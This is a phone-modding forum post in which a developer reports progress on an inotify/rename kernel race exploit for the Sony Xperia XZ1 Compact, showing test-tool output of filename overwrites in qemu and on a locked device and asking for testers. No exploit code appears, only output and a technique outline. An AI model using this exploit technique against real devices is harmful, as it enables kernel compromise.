[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
Let me show you something:

/data/local/tmp # ./mytest-linux -p 1000 -l
detected overwrite (event#561, count=1):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#829, count=2):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1015, count=3):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1441, count=4):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1481, count=5):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1627, count=6):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1697, count=7):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1793, count=8):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1889, count=9):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"
detected overwrite (event#1943, count=10):
len=208 name="p+ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp"

This is my implementation of inotify/rename exploit run in qemu - I have found a way how to overcome the problem with delayed kfree from kfree_rcu described in post#33, post#44 and post#48.

And I've even managed to tune half of it for real locked xz1c - it triggers short filenames overwrite, but using the same method as with long filenames (or the first half of it as the second part with kfree_rcu is not needed in short file name case):

130|G8441:/data/local/tmp $ ./mytest-android
detected overwrite (event#728, count=1):
len=16 name="g+ggggggggggggg"
detected overwrite (event#802, count=2):
len=16 name="g+ggggggggggggg"
detected overwrite (event#1418, count=3):
len=16 name="g+ggggggggggggg"
detected overwrite (event#1778, count=4):
len=16 name="g+ggggggggggggg"
detected overwrite (event#1834, count=5):
len=16 name="g+ggggggggggggg"
detected overwrite (event#1982, count=6):
len=16 name="g+ggggggggggggg"
detected overwrite (event#2038, count=7):
len=16 name="g+ggggggggggggg"
detected overwrite (event#2066, count=8):
len=16 name="g+ggggggggggggg"
detected overwrite (event#2102, count=9):
len=16 name="g+ggggggggggggg"
detected overwrite (event#2116, count=10):
len=16 name="g+ggggggggggggg"
G8441:/data/local/tmp $

Guys, is here really nobody (with _unlocked_ xz1c) willing to at least test with me?